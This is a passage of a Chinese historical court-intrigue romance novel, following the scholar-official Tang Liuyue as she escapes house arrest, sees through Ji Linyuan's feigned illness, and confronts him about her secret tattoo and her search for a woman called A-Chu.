粉色裙装女子走在前面,只见她把衣物放到桌上,又接过吃食一并放下。而后笑吟吟地看向棠柳月:“棠姑娘,我们是府上的侍婢,名唤弥容、弥真。按大人的吩咐,给您准备了一些清粥小菜,也将您的朝服重新洗净收好。另一套是大人为您备下的常服,以便您进出行走。”
棠柳月昨夜虽知道带自己走的是季临渊,但为了不引人怀疑,还是顺势问道:“你们大人是谁?是他带我来这里的?”
“我家大人名唤季璟,翰林学士。昨夜,的确是他把您带回府上。”
"那他人呢?"
“大人早朝时触犯圣怒,被皇上训斥,迟迟未归。”
棠柳月柳眉微扬,只是训斥?多半是被皇帝秋后算账了。毕竟昨夜打在身上的那一掌,可真是结实。
伸手取过官袍细看,确认没有破损后,棠柳月才仔细收好。又随意挑了件嫩黄长裙穿上,从送来的首饰里拿起一支白玉簪子,略略在脑后挽了发髻,轻快利落。
但诡异的是,在棠柳月换装用膳的过程里,弥容和弥真一直在房间里不曾离去。两人如并蒂莲花一般并肩站着,与她保持不远不近的距离,安静注视。
棠柳月咽下最后一口白粥,看了一眼外面的守卫,又玩味地看向眼前二人,“门里门外都是人,不知季大人所说的进出方便,到底是哪里方便?”
弥容微微一笑,面色和顺:“大人是怕有人打扰棠姑娘休息,不过大人确实有交代,在他回来之前,您不得离开此处。”
“可季大人何时回来未有定数,难道我便要这样等下去?我也有公务在身,可不似季大人那般逍遥。”
弥容的笑容愈发恭敬,但语气半步不退:“大人私隐一向不许我们过问,所以姑娘所急我们也无可奉告,但请姑娘耐心等候便是。”
棠柳月的脸色慢慢冷下去,站起身双手抱胸:"我若是不想等呢?"
弥容依旧是人畜无害的神色,“姑娘莫要为难我们。”
话音刚落,横亘在三人之间的桌子就被棠柳月掀翻,汤汤水水撒了一地。她又拿起钗环首饰,如投掷飞镖一般向弥容弥真划去。
不算大的屋子里,立刻狼藉一片。
弥容眼疾手快,拉过弥真几个旋身便全数避开,徒留珠钗扎进墙里,流苏震荡之声。但凭这些,棠柳月便感知到弥容是有几分功夫在身上。
“没想到季大人身边倒是卧虎藏龙。”棠柳月意味深长地看向弥容。
巨大的声响引起了外面的骚动,有侍卫敲门问需不需要进来,但立刻被弥容驳回。随后她转脸看向棠柳月,伪人般的神色终于开始破裂。
“姑娘为何如此决绝?”
棠柳月耸耸肩,只顾把自己的官袍细心收好,“没什么,只是想回去处理公务。”
弥真似乎有点气愤棠柳月的不知好歹,直接冲上去跟棠柳月动手。速度之快,弥容在后面拉都拉不住。
弥真的莽撞也是有点吓到棠柳月,她立刻防守了几式。但很快,她也摸清楚了对方的功底。
有一点,但不多。
于是心态从一开始的试探警戒,瞬间变得游刃有余。棠柳月甚至背手,配合弥真出击。就这样玩了一会,在弥真已然气急败坏之际,棠柳月扯下衣服上的飘带,抓住弥真的手腕,把人往自己怀里一带。
“你放开我!”双手被捆,又被人箍在怀里弥真气得大吼,脸色红的要滴血。
“放是肯定要放的,”棠柳月一手掐住弥真的脖子,一手勾起弥真的一缕头发绕在指尖,抬眼看向满眼焦急的弥容,调笑道:“但不是现在。”
说罢,她便拖着弥真走到门边,一个抬脚把门踹开。外面的人见状本想动手,但都被救人心急的弥容拦下。
就这样,原本被软禁的棠柳月带着她的人质,一步一步走到屋外。而这一路被人像个麻袋一样拖着走的弥真,则一直叫嚣:“棠柳月我劝你赶紧放开我!不然大人一定不会放过你的!”
弥容和一众守卫仆从,在后面亦步亦趋。
穿过环廊,绕过前厅,途径前厅院子时,棠柳月实在受不了弥真的嗓门,于是抓住她的领子把人拎到眼前,露出凶狠的神色:“你再喊我就毒哑你,你大人就算来了你也已经成了哑巴!”
许是棠柳月说得太过认真,倒真让弥真闭上了嘴。胸膛剧烈起伏,两个眼睛睁得滚圆,嘴巴死死抿着,惊慌的泪水成股从眼角流出。
棠柳月没想到自己竟然能真的吓到人,也有些诧异。同时她又不禁在想,这样的性子怎么敢跟人打架?还有弥容,为了保护弥真竟然就真的一路不让人上前阻拦自己。
这样的人用来看家护院,该说不说,季临渊是真的会用人。
眼见离开季府已经不在话下,棠柳月也不愿再吓唬人,便收起凶狠的神色,把弥真一把推还给弥容。
但此时府外却嘈杂了起来,很快府门被打开,一群人马浩浩荡荡走了进来。走在前面,骑着高头大马的是御林军统领赵靖圻。
身穿白缎面校尉甲,生得方正壮硕,魁梧高大。古铜色皮肤,短粗眉毛下是一双炯炯有神的眼睛。
而继他身后出现的,是面色不善的季临渊。
赵靖圻入府后便翻身下马,快步走到棠柳月面前,抱拳行礼:“棠典籍,末将禁卫军统领赵靖圻。奉皇上之命护送您离开季府,直至归家。”
棠柳月闻言扬眉轻笑,虽有些意外转折来得太快,但还是爽快应承下来,“多谢皇上关怀,这一路麻烦统领大人了。”
说罢她便跟上赵靖圻的步伐,等对方带队掉头后再翻身上马。期间,半个眼神都没有给到一旁的季临渊。
擦肩而过的瞬间,季临渊终于忍不住,一把拽住棠柳月的手臂。
“棠典籍对我这个救命恩人就没什么要
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说的吗?”
棠柳月看了看骑在马背上一脸疑惑的赵靖圻,正色道:“下官在翰林院夜直时突发旧疾,季学士心慈仁厚才允许下官借住季府,至多算一句体恤下士,算不上救命之恩。”
“否则,”棠柳月走近季临渊,压低声音,神色戏谑:“你是想让所有人都知道堂堂天子如市井流氓一般,对人下药用强吗?”
手上的力道慢慢松开,季临渊冷然一笑,眼眸微微垂下,“你倒是思虑周全。”
“慢走不送。”
哒哒的马蹄声在院中响起,烟尘纷飞,人马渐行渐远。
时隔三日,棠柳月终于又回到翰林院上值。
一见到棠柳月,江寒星便急急迎上去拉住她的手:“你终于回来了!你身体好点了吗?严重吗?”
“没事没事,”棠柳月捏捏江寒星的脸,笑呵呵道:“我现在好好站在你面前呢。”
江寒星欢喜地点点头,拉着棠柳月往工位上一坐,颇为骄傲地扬起下巴:“你这几天养病,公务我都帮你处理了,而且侍读还夸我做得好。”
棠柳月欣慰地看着桌上码放的整整齐齐的文书,接连几声“真好啊”脱口而出,是对江寒星,也是对自己。
人在江湖,最开怀的就是人躺着,事做了。
此时从外头急匆匆闯进来一个人,二人定睛一看,是踏点上值的秦川柏。只见他双手撑在桌上,整个人气喘吁吁。
“小秦,你出门就不能早点吗?每天都要这么找急忙慌,也不怕哪天失期,罚了你的月俸。”
秦川柏气喘如牛,听到江寒星的好心提醒,也只是摆摆手示意自己听到。
棠柳月起身给他倒了一杯水,有顺手帮他取下身上的包裹,“好在是个富户,家底厚,不差这三瓜两枣。”
棠柳月到翰林院将近月余,身边的人也都熟识了,所以此刻听到棠柳月的调侃,其他同僚都跟着笑了起来。
秦川柏倒是不在意,趁着气息渐渐平稳,理了理官袍,晃晃悠悠坐到自己工位上,这才缓声道:“不是不在意,实在天气渐凉,早一分出门,便多一分受冻。”
江寒星无比认同,“是啊,现在已经入秋,我有时候早上起来就想告假。”
棠柳月拿起笔墨,准备前往藏书阁整体图册,“还是多向侍读看齐吧,任劳任怨无怨无悔。”
秦川柏嫌弃地“唔”了一声,撇撇嘴:“侍读那是不得已,也不知道他什么时候能从金銮殿回来。”
棠柳月停下脚步,“宋侍读不在吗?”
“哦忘记跟你说了,”江寒星拍了拍自己的脑袋,立马解释道:“前日早朝的时候,皇上不知为何痛斥学士大人不思进取,游手好闲,还让他回去自己府上闭门思过一个月,所以现在都是宋侍读代替学士大人去参加早朝。”
棠柳月按着江寒星的回答,稍稍捋了一下时间线,便发现“前日”,就是自己离开季府的那天。
但这个惩处,有点雷声大雨点小了。
“除此之外,没有别的了吗?”
秦川柏和江寒星面面相觑,季璟又不是第一天游手好闲,现在莫名其妙被勒令回府上闭门思过,怎么看都是无妄之灾啊。
“你想他有什么惩处?”
宋澈衍悄无声息地出现在棠柳月身后。
5.探望
宋澈衍一回来,众人便都如鸟兽散。秦川柏更是脚底抹油般抱着书卷溜到隔壁书房,江寒星则是埋头批注古籍。
棠柳月在心里认命地叹气,事不过三,下次一定要躲着宋澈衍说话。
“属下没有别的意思,只是担心季大人再受牵连,所以多嘴问一下。”
“小女子心思。”
宋澈衍神色严肃,他本就比棠柳月高了一个头,此刻眉头微蹙,垂眸抿嘴,更夹杂了一些嫌弃。
“他再怎么样也不会影响你,你按时来翰林院上值就是,闲事莫管。”
“是~”棠柳月拉长音调应和。
宋澈衍揉了揉疲乏的眉心,转身欲走之际,忽的转过身,看向棠柳月,欲言又止。
“怎么了?”
“你……”宋澈衍犹豫出声,方才细长眉眼里的嫌弃在此刻渐渐转化成明明暗暗的关怀:“日后公务太多,延后几天也无妨,不必日日夜直,身体为重。”
“季璟若没来得及处理你的公文,直接拿来给我。”
“……是。”
直到宋澈衍离开,棠柳月都还有点懵然。眼前的人,真的是宋澈衍?
不过有了宋澈衍这句话,棠柳月的工作就再也没耽误过。而且效率越发的高。
休沐前一日,棠柳月在藏书阁花了一个早上誊写完一部古乐集,站起身挪动酸乏的身子。回到自己工位上时,江寒星也刚好从膳堂带来热好的饭菜。
清清桌面,把饭菜摆好,二人便开始大快朵颐。
自从见证过膳堂的白切鸡后,棠柳月打死不再涉足。与江寒星一合计,直接每个月交一笔饭钱,由江寒星给自己带饭。
此时秦川柏从外面走进来,脚步轻松,神色雀跃。只见他走到正在吃饭的棠、江二人身边站定,笑而不语。
棠柳月夹起一筷子土豆丝靠近秦川柏:“怎么,想来一口?”
礼貌地把筷子推回去,秦川柏清了清嗓子:“宋侍读说下午要去看望季大人,”
“闭门思过还能去探望?”
棠柳月闻言很是诧异,那一筷子土豆丝,便停在了空中。
秦川柏“哼哼”两声,一副看小孩的眼神给到棠柳月,“季大人又不是第一次闭门思过,之前闭的太频繁,皇上担心季大人在府上出事,所以才许侍读定期过去看看。”
是担心吗?别是定时探监。
江寒星咬着筷子头,又掰着手指头算了算,“季大人闭门思过也大半个月了,是该去看看了。”
棠柳月不屑地低头吃菜:“那我可不去,我明天休沐,得把事情做完。”
秦川柏一哽,“啊?可是侍读说了让我们几个随行。”
棠柳月敏锐地捕捉到关键字,“我……们?”
江寒星见棠柳月不是很明白,便接过话头道:“一般去看望季大人的时候,侍读会让我们自荐,然后选取四五人一同随行。不过有时候侍读也会自己挑人,比如这次。”
“那他自己去不就好了?”
江寒星感慨地摇摇头,“要不说这是官场呢?侍读很在意外头的名声,之前侍读也是一个人去,结果被人嘲笑翰林院后继无人。所以自那以后,他都会选人一同前去。”
秦川柏拉过一条长凳,挨着桌边坐下,好言相劝:“其实出去也好,慰问季大人这种事情轮不到我们,就是去露个面,全当出来放风。不然一天天憋在这里,也怪无趣的。”
“又不是天天能看到柳月的剑舞。”
头上冷不丁吃了一记当头闷筷,秦川柏委屈地看向棠柳月,“柳月不愧是习武之人,手劲真大。”
棠柳月皮笑肉不笑,“几时出发?”
“未时。”
坐在去往季府的马车上,一车人安安静静。除开宋澈衍,这次一共去了四个人。
棠柳月、江寒星、秦川柏和白书礼。
白书礼跟江寒星一样,都是七品编修。但他经常出入宋澈衍身边,有时宋澈衍休沐,也会提前安排好公务,由他转达。
所以翰林院众人对二人的关系都颇有猜测,偏生宋澈衍不理睬,白书礼笑而不语,更是让人浮想联翩。
不过白书礼除去工作能力强之外,风评并不好。嘴上没遮没拦,嫌贫爱富,又爱搬弄是非,总认为男子若屈居末流必是怀才不遇,女子若身居高位必是卖身求荣。
这样的人出身世家,只能说真的是金玉其外,败絮其中。
所以棠柳月在翰林院也甚少与他往来,点头之交罢了。
或许是车上氛围过于压抑,白书礼随手撩起车上布帘,说道:“也不知季大人这几日,有没有静心思过。”
“不得议论季大人。”宋澈衍正襟危坐,闭目养神。
白书礼讪讪收回手,出师不利。
“不过我听说柳月那天病倒,是季大人接你去他府上暂住了一晚,是吗?”
突然被点名的棠柳月回过神,看向白书礼,有些茫然地点点头,“是……那天我突发高热,大人心善,让我暂住季府。”
“啧啧啧,”白书礼往后靠了靠,别有意味地笑了笑,“我与季大人共事也有两年,倒是不见他请我去他府上看看。”
“到底是貌美如柳月,才能让他心善。”
这样模棱两可的话,对于旁人或许只是一句调笑。但对于在座的棠柳月和江寒星来说,却是十足十的嘲讽。
秦川柏有些担心地看向棠柳月和江寒星,果不其然,江寒星毫不遮掩地翻了几个白眼,而棠柳月则冷眼瞧着白书礼,一点亏都不吃。
“那季大人不请白兄去府上,大约是觉得白兄有碍观瞻。”
江寒星闻言扑哧一笑,跟对面的秦川柏对上眼后,两人直接低头闷笑,肩膀抖动如筛子。
白书礼脸上有些挂不住,但还是强撑着笑意,“女子爱美,我也不过顺嘴一夸,不想柳月心气如此之高。”
马车虽摇晃颠簸,但棠柳月自坐上去便挺直腰杆,神色自若:“那是,树挣一张皮,人活一口气,可不能像白兄这般爱随意揣测他人。”
“你——”
“聒噪。”
宋澈衍睨了一眼白书礼,神色漠然。
被强行闭嘴的白书礼只得沉默,怎么也想不通,明明棠柳月也在呛声,怎么宋澈衍不说她?
车马穿过层层闹市,终于拐进一处偏幽之地,停在了季府门前。
宋澈衍率先下车,白书礼紧跟其后,不愿跟其余三人为伍。
江寒星抬头看了看门上只写了“季府”二字的匾额,边走边用手肘戳了戳棠柳月。
“我还是觉得以前的府名好听。”
“叫什么?”
“云安华府。”
棠柳月眉心一跳,赶忙追问:“为什么改了?”
江寒星想了想,“是皇上下令改的,说季大人有负先皇恩赐,在季大人贬官之时也下了云安华府这个名号。”
棠柳月还想在问一些,却被秦柏川的咳嗽声打断。
再回头,他们已经到了前厅,等候侍女通报季临渊。
熟稔地走向左下第一把椅子,坐下后宋澈衍理了理衣袍,看向站着的四个人:“大家自便。”
刚坐下不久,弥容和弥真就奉上了茶水。
故人相见,分外亲切。<
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对视的眼神里有刀光剑影闪过,最后还是弥容拉着弥真躬身离开。
宋澈衍见棠柳月和那两个人姑娘“眉来眼去”,便忍不住问道:“你和她们认识?”
棠柳月敷衍一笑,“之前住季府的时候,是她们照顾我。”
刚说完,众人后方咳声连连。不多时,身着素色长衫,外罩一件墨色披风,满头青丝只虚虚拢在背后,面色憔悴的季临渊,宛如一个病美人,在弥容弥真的搀扶下颤颤巍巍地走了出来。
众人看得怵目惊心,宋澈衍赶忙走上前扶着季临渊坐下,急急道:“你身子若这么虚,谴人去翰林院说一声,我也就不来了。”
别说宋澈衍吓了一跳,棠柳月都吓到了。这不出门的半个月,是干了什么病的这么重?
“不行的,我虽身在府邸,但心系翰林院。”
就这一句话,季临渊倒了三口气才说完。
“行了行了,”宋澈衍轻抚着季临渊的后背,给他顺气,放缓了语气:“你好好在府上休息,病好了再回翰林院,皇上那边我去说。”
“不!”季临渊忽然来了劲,抓住宋澈衍的衣袖不放,曾经一双含情目在此刻却盛满了哀求:“精心思过这些日子,我每天都沐浴熏香,吃斋念佛,不敢有一丝懈怠,只为能早日回到翰林院!”
许是说的有些快了,季临渊说完后又带了几声咳嗽,以证体虚。
秦川柏看着季临渊病弱至此,又听到求神拜佛这一说,不由皱了皱眉:“大人拜的是哪的佛祖啊,这么不保佑人?要不拜拜我家乡的老爷,可灵验了。”
“咳咳咳,不必了,”季临渊重重咳嗽了几声,摆摆手,“我这是太想回到翰林院与大家共事,才想出了病。只要我出去,病就好了。”
原来,在这等着呢。
宋澈衍神色有些为难,“可皇上的意思……”
“无妨,”季临渊善解人意地拍拍宋澈衍的手,“你如实告知皇上我的情况和心意就好,不让你为难。”
“只是我这身子,也不知道还能撑多久。”
“我心系翰林院,心系大茗啊。”
季临渊说完便无力地靠在宋澈衍怀里,双眼半闭,手也松开垂在腿上 ,每一口气的进出都耗尽心力。
江寒星触景生情,想起自己去世的爷爷,不禁悲从中来,默默垂泪。
这一哭,更是让除棠柳月外的其他人唏嘘不已。
这是多么感动肺腑、感人至深,感天动地的家国情怀啊!
“临渊你放心,”宋澈衍抹了抹眼角,蹲下身子握住季临渊的手,“以前我总觉得你不务正业,有负皇恩,但现在我才知道原来你是这样的人,是我小看你了,对不住。”
“所以你放心,”宋澈衍眼神灼灼,坚定无比:“我一定会求皇上让你早日出来的,翰林院一个都不能少!”
季临渊亦是感动不已,连说了几声“好”,挣扎着站起身,跟众人一一握手言谢。
而轮到棠柳月时,季临渊只轻飘飘从她的手背上划过。但也只是这轻轻一划,还是让棠柳月发现了端倪。
回程的车马上,江寒星还陷在情绪里走不出来,靠在棠柳月的肩头,闷闷不乐。
棠柳月见她如此,打趣道:“知道的,是说你来看季大人;不知道的,还以为季大人出事了呢。”
“你还说笑!”江寒星抬起头,眼眶红红的,声音因为哭泣而变得有些沙哑:“季大人都病的那么重了,还想着翰林院,你怎么能拿他说笑?”
棠柳月赔笑地点点头,不再言语。
为什么拿他说笑?当然是因为他的脉搏强壮如牛。
6.夜聊
难得的休沐日,棠柳月睡到日上三竿才睁眼。又裹着被子在床上睡了个回笼觉,真正起身下床的时候,已经是正午时分。
简单洗漱后,棠柳月扯过一件玄色裘褂披在身上,绕过长廊,睡眼惺忪地走向厨房。
厨房里,冷锅冷灶。
随手翻了翻菜篮子,都是土豆和西红柿,一点荤腥都没有。
罢了罢了,还是出去吃吧。
刚出府门,棠柳月就被一个私塾先生模样,蓄着长须,平易近人的长者拦下脚步。
只见他一身藏蓝色长衫,斑白头发,背手抚须,笑吟吟开口:“问棠状元安,老夫是附近医馆的大夫许淮生,留意贵府很久了。”
棠柳月长眉挑起,仔细回想了一阵,才确定之前入京定居时,是在附近医馆里见过这位老者。于是示意眼前人说下去。
许淮生神色愈发恭敬:“老夫见您总孤身进出府上,无人照料,衣食住行怕是不便,所以想问您可有意找一位嬷嬷留在府内照应?如若有意,老夫想自荐我家夫人,不知您意下如何?”
“您夫人?”棠柳月颇为讶然,“老先生您行医多年,不至于这年月还没有家底吧。”
“老夫不是这个意思,”许淮才坦然一笑,年岁的轮转藏在眼角眉梢的皱纹里,“是我家夫人是个劳碌命,这些年闲在家里,总是三灾两病,所以老夫才出此下策。”
说到这,许淮才的神色渐渐黯然下去。
“还有一个缘由,便是老夫的独女三年前因病早逝,这个孩子恰好跟您有几分相似,所以您当时长街游行,我家夫人就一直对您无法忘怀。 ”
两厢默然,无言以对。
棠柳月并非铁石心肠之辈,只是自小阿娘一直教导人心难测,不可轻信。所以经年累月下来,便也孤身惯了。
但这家人若真如所说那样,也实在可怜。
见棠柳月神色犹豫,许淮才自知仅凭几番言语不足为信,于是自袖中取出一沓纸张。小心展开,递到棠柳月面前。
“这画像上的便是小女,我夫人平日最爱给小女作画。还有一些是我家小女给医馆提的字画文章,皆是亲笔,您若不信可以去医馆查证。”
素白的纸张上,大多是一个明黄衣衫的少女,巧笑倩兮。而那些文章上的簪花小楷和遣词造句,透露出这个女孩子文采斐然。
棠柳月一边翻阅,一边暗暗赞叹。
许淮才站在一旁,跟棠柳月一同欣赏女儿的遗作,满心悲切:“她从小聪颖,原本是要参加科举的,但谁知……哎,不说了,不说了。”
郑重地把纸张还回去,棠柳月长吁一口气,温声道:“我这没有厨娘,若夫人不嫌弃,可以过来一试。”
许淮才一愣,过后便是喜极而泣,连连棠柳月鞠躬,提起衣袍欢喜地朝自家方向奔去。
棠柳月见人影远去,心里突然有点五味杂陈,不知道自己做得对不对。
不过傍晚时分,她就不再纠结这个问题。
“秋姨,这个红烧肉真好吃!”
“秋姨,这个鱼怎么烧得那么好!”
“秋姨,日后我去上值,你得天天给我做这些。”
棠柳月就像掉进米缸的老鼠,一口菜一口饭,恨不得长八张嘴。连那几句话,都是盛饭的间隙说的。
秋姨原名秋容,是个性情温婉的老妇人,丈夫又疼爱有加,她便如像茂密丛林里那一汪小潭,日光下澈,幽静平和。
此时,看棠柳月吃的那么尽兴,她也喜不自胜,“柳儿你慢慢吃,不够秋姨再做。”
咕噜噜喝下一大碗鸡汤,棠柳月这才放下碗筷,不好意思地擦擦嘴角,“秋姨,日后您出门买菜直接跟我拿钱就行,不够回来再补。我不忌口的,什么都吃。”
秋容笑的牙花子都遮不住,伸出干燥暖和的手掌,摸了摸棠柳月的头,“你吃得开心就好,秋姨腰包可鼓了,养得起你。”
棠柳月耸肩一笑,“谢谢秋姨。”
陪着秋容洗碗收拾厨房后,棠柳月又给秋容分了一间大屋子住,这样日后天真的冷下来,也不用她来回两头跑。
偌大的府邸,也不会只有棠柳月一个人。
舒舒服服洗了个热水澡,棠柳月穿着月白色寝衣,满头青丝垂下,身姿绰约,清水出芙蓉,天然去雕饰。
推开书房竹门,又给书房里添上几盏油灯。原本稍显昏暗的屋内,此刻灯火通明。
取过桌台上的白云簪,利落挽起长发。展开一卷空白的澄心堂纸,棠柳月从身后书柜里取下珍藏的徽墨,指尖轻点进砚台边的水碗中,缓缓抬起,指尖顺沿下来的细细水珠落入砚台,而后拿起墨条,开始画圈研磨。
直至墨汁汇集成股,蜿蜒流动,才停下动作。
提起宣笔,沾满墨汁,棠柳月气定神闲,在纸张上挥毫泼墨。桌边烛火微动,映照着她娴静雅致的侧脸。
不多时,一篇《兰亭集序》便跃然纸上。若不细看,几乎可以以假乱真。
不过也是,毕竟棠柳月的行书入门,便是书法圣人王羲之,所以对其的仿照临摹自不在话下。
夜风四起,窗户微微晃动发出轻微吱呀声,烛火明明灭灭。
棠柳月放下手中墨笔,走到窗边收起叉杆,合上窗扇。再回身,屋内多了一缕若有若无的陌生气味。
不动声色地回到桌边,袖中刀片滑落掌心,棠柳月继续临摹书画。
直到,有细微的尘灰,自上方缓缓落到纸张上。
棠柳月眸色一沉,左手指尖夹住暗藏的刀片,手腕发力,刀片顷刻向上飞离指尖。
梆!
房间横梁上传出被深深嵌入的声音,随即几缕发丝悄然落地。
棠柳月凝眸注视素白纸张上刺眼的断发,半晌才悠悠道:“做梁上君子的滋味如何,季大人?”
梁上之人轻笑,淡紫色衣袖翻飞间,季临渊安稳落地。
只是左脸,挂了一道浅浅血痕,当真是白璧微瑕。
季临渊取出腰间折扇,扫掉衣摆上的点点黑刺,落座于一旁的梨花木椅子上,语气慵懒:“私下就不必一句一句大人叫了,你唤我临渊,我唤你柳月,如何?”
“或者,跟秋姨一样,叫柳儿?”
一卷字画朝季临渊迎面砸来,眼疾手快接下字画,他讪讪笑道:“知道了,知道了。”
棠柳月眼神幽冷,走到季临渊对面坐下,“有话直说,跟踪我还半夜翻墙进我家,所为何事?”
“说话真难听,”季临渊撩起眼皮,一双桃花眼里有笑意盈盈:“我若是能正经出门,还用翻墙?”
“说正事。”
“我知道你的秘密。”
棠柳月狐疑一会,缓缓问出心中所想:“可是犯了疯病?”
“咳咳!”
季临渊乍然被棠柳月如此奚落,刚想张嘴自己辩解。结果一开口却被自己的口水呛到,握拳抵在嘴边连声咳嗽,好一会才平静下来。
棠柳月翘起二郎腿,手肘撑在桌上,抵住微微歪斜的脑袋,大有一副看好戏的模样。
“既然没疯,且说说你给我编了什么秘密。”
季临渊见棠柳月还是如此冥顽不灵,脸色也严肃了起来,直接开门见山:“你脖子上的九色银花,到底是怎么回事?”
“大人在说什么?”棠柳月神色揶揄,“我身上的东西大人怎么会知道?”
季临渊薄唇紧抿,眼神锐利,只见他直接起身走到棠柳月身前,冰凉长直的手指触碰她的脖颈,扯开衣领。
目之所及,肤白胜雪。
季临渊一惊:“九瓣银花呢?!”
而全程没有反抗的棠柳月,此时偏头垂眸,嘴角勾起一抹讥笑:“季临渊,你是在说这个吗?”
说罢,脖
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颈处那片雪肤便在季临渊的注视下发红肿胀。
最后,一朵九瓣银花浮现。
双手微微颤抖,季临渊的瞳孔剧烈震颤着,嘴唇嗫嚅:“所以你之前是故意给我看的?”
棠柳月推开季临渊的手,神色懒洋地整理领口,“也不算,这个花纹原本遇酒易显,只不过刚好那天是你罢了。”
“如果那天我没去芙蓉台,你会杀了皇上吗?”
“当然。”
季临渊被棠柳月的直白震惊,他缓缓撤步,心下骇然:“为了你的浮花神教?逆贼叛党!”
“说话真难听,”棠柳月坐在椅子上轻揉太阳穴,语气厌恶:“就不能单纯厌恶皇上吗?”
“对人下药用强,杀他一百次都不为过。”
季临渊咽了咽口水,手撑在身后的桌子上,强压着心头惶惶:“那你为何让我知晓这个纹身?”
“因为我要借你的手,”棠柳月眼里染上一抹无力,“找一个人。”
“找谁?”
“阿楚,从我有记忆起,娘亲就一直在找这个女人,但直到她去世,都没有找到。”
“她一直说阿楚是被宫里的人带走,也是宫里的人对浮花神教赶尽杀绝,所以她临死前,要我入朝科考,继续寻找阿楚。”
季临渊听出其中蹊跷,立刻追问:“赶尽杀绝?当时朝廷出兵,挂的名号是逆贼行刺,你和你娘亲可清楚?”
“我当时太小并不清楚原委,直到入京才知晓。而我娘亲大概是不知道的,她满心只有那个阿楚。”
烛火幽微,映照出棠柳月眼里的彷徨无助。
季临渊听得云里雾里,皱着眉思量了一阵,眼见棠柳月的神色不像作假,于是只得话锋一转:“可我也只是一个落魄臣子,甚至我完全可以把你当做乱臣贼子,送入官府。”
“是吗?”棠柳月忽的嗤笑一声,抬起头诡笑地看向季临渊:“如果你放心你的皇兄,能孤身在我手上存活,你当然可以不帮我。”
季临渊闻言眯了眯眼,心头突突直跳:“你还知道什么?”
“没了,”棠柳月粲然一笑,施施然起身:“若不是你皇兄断我仕途,我也不会出此下策。”
“况且,你真愿意当一辈子翰林学士?”
突然被戳中心窝,季临渊一时语塞。眉间紧锁,他扯了扯嘴角,终是无话。
但此时,门外却响起一阵敲门声。
季临渊反应极快,折扇一挥将屋内的烛火尽数熄灭。但棠柳月也不遑多让,直接拉起他甩到窗边软榻上。
未来得及收起的折扇被压在背后,季临渊一阵吃痛,想翻一下身子抽出折扇。却被棠柳月以为他要擅自行动,索性压在他身上,一手死死按住他的嘴,一手扯过屏风挡在二人身前。
吱呀——
门被打开,秋姨急急走进来,语调慌张:“柳儿!我刚刚发现府边墙头上的荆刺被人毁掉了一大块,是不是有贼人进你屋了?”
“没有,我刚刚准备睡下了。秋姨,你也回去睡吧,没事的。”
棠柳月尽量维持语调的平稳,但却狠狠瞪了一眼季临渊,后者虽被折扇硌得难受,但眼里还是浮现讨好的神色。
毕竟,翻墙,是有概率失败的。
“没事就好,没事就好,”秋姨安心地拍拍胸脯,“那柳儿也早点睡,秋姨先走了。”
随着房门再度关上,棠柳月长吁一口气,刚刚的紧张一扫而空。她卸下手上力道,身子往后一坐,轻轻喘气。
季临渊龇牙咧嘴地从软榻上起身,抽出折扇,感叹道:“进你家一趟真不容易,危险重重。”
棠柳月懒得理他,抬手推开窗户,冷眼瞧着季临渊:“怎么来的,怎么回去。”
……
季临渊麻溜起身,不做耽搁。
不然,这次是刀片划脸,下次说不定就是割喉。
7.考核
在宋澈衍一天三道请安折子的努力下,季临渊的拳拳爱国之心传遍满朝文武,皇帝也终于同意提前结束他的禁足。
季临渊重回翰林院那天,宋澈衍领着院内所有人,顶着寒风,前去迎接他,排面给得非常足。
以至于白书礼都在人后抱怨:“又不是登基,虚张声势。”
棠柳月手拢在袖子里,挑挑眉,真要登基了,你又不高兴。
午膳时分,在季临渊的强烈要求下,宋澈衍才放弃了他的接风洗尘宴,众人各自吃食便可。
小小一方桌上,棠、江、秦三人凑在一块吃饭。
自从有了秋姨负责膳食,棠柳月不仅再没饿过肚子,菜色还都远超翰林院同僚,地位超然。
“柳月,下个月公务考核,你准备好了吗?”江寒星从棠柳月的小盘里夹过一只大虾,用嘴给虾剥壳,断断续续道:“年下事情多,若是考不过,来年再考就是。”
秦川柏“哎”了一声,筷子在面前的盘子里翻了翻,“搞不懂为什么要在年终考核,我每年到这时候只想赶紧回家。”
棠柳月浅尝了一口排骨汤,“自然是做了准备,我来翰林院这几个月可不是白干的。”
秦川柏见棠柳月神色认真,忍不住担忧:“虽然翰林院按规矩是公平竞争,但内里论资排辈,寒星当时也是压了一年才升官阶,我估计你也悬。”
棠柳月闻言,夹菜的速度慢了些许,眼神虚晃地落在菜肴上,“公务考核,最多可以升几个官阶?”
江寒星伸出两根手指,“至多两级,而且还得是公务处理非常优秀的才行。”
“升满官阶后呢?”
“正常是分配六部,但上头压着不给升,所以翰林院里有很多‘老人’。”
“那就是空话,这些话术就是拿来哄哄新人。”秦川柏笑的苦涩。
“季临渊不管吗?”
“不是不管,”江寒星嘴角向下一弯,闷闷地戳着自己碗里的米饭,“是管不了。明面上翰林院是季大人做主,再次也是宋侍读。但其实翰林院被礼部把持,每年考核也要上呈礼部。只是六部自成一派,自然要打压他人,维护各自门生。”
秦柏川跟着点点头,“季大人也上奏讲过这些,但总遭到皇上训斥。”
棠柳月只安静听着,抬头刚想说话,却见白书礼与其他四五个同僚,从秦川柏身后走来。
“呦,棠典籍醉心公务,还有心吃饭呐~”
白书礼走上前来,阴阳怪气。
棠柳月也不怵这样的挑衅,轻觑对方:“白编修午膳应该吃的不错,不然也不会跟吃饱了撑的一样,到处乱晃。”
……
白书礼的脸跟苦瓜一样,又苦又绿。
江寒星不忘适时补刀一句:“白编修还是回去准备考核吧,别又轮空了。”
白书礼冷哼一声:“没家世没背景的小小女子,我且看看今年能考出个什么好结果?”
说罢他便气哄哄离去,其他人自觉没趣,也赶紧跟上。
秦川柏朝着那群人离去的方向,嫌弃地吐了吐舌头,“烂嘴巴的一群人。”
午后棠柳月埋头在工位上草拟各部关于年终考核的文件,写了一整个下午,手都发抖了。再抬头的时候,已经临近放衙,她这才想起还没把今日的文书日报拿给季临渊。
趁着天色还未完全消沉,棠柳月赶紧起身,抱着众人的文书日报,脚步不停地赶往季临渊的书房。
推门一进去,她便发现季临渊居然趴在书桌前睡着了,手边是几沓批好的公文。笼中的画眉鸟叽叽喳喳叫着,也没把他吵醒。
把手里的日报往桌上一放,棠柳月推了推熟睡的男人。
季临渊慢慢地睁开眼,见来人是棠柳月,挣扎着坐起身,睡眼惺忪。
“什么时候批完?”
“明天,明天,”季临渊好像真的很困,晃晃悠悠站起身,轻拍脸颊,准备从棠柳月身侧绕过:“我这两天被阿澈压着处理以前落下的工作,夜直到子夜,今日我受不了了,熬不住了。”
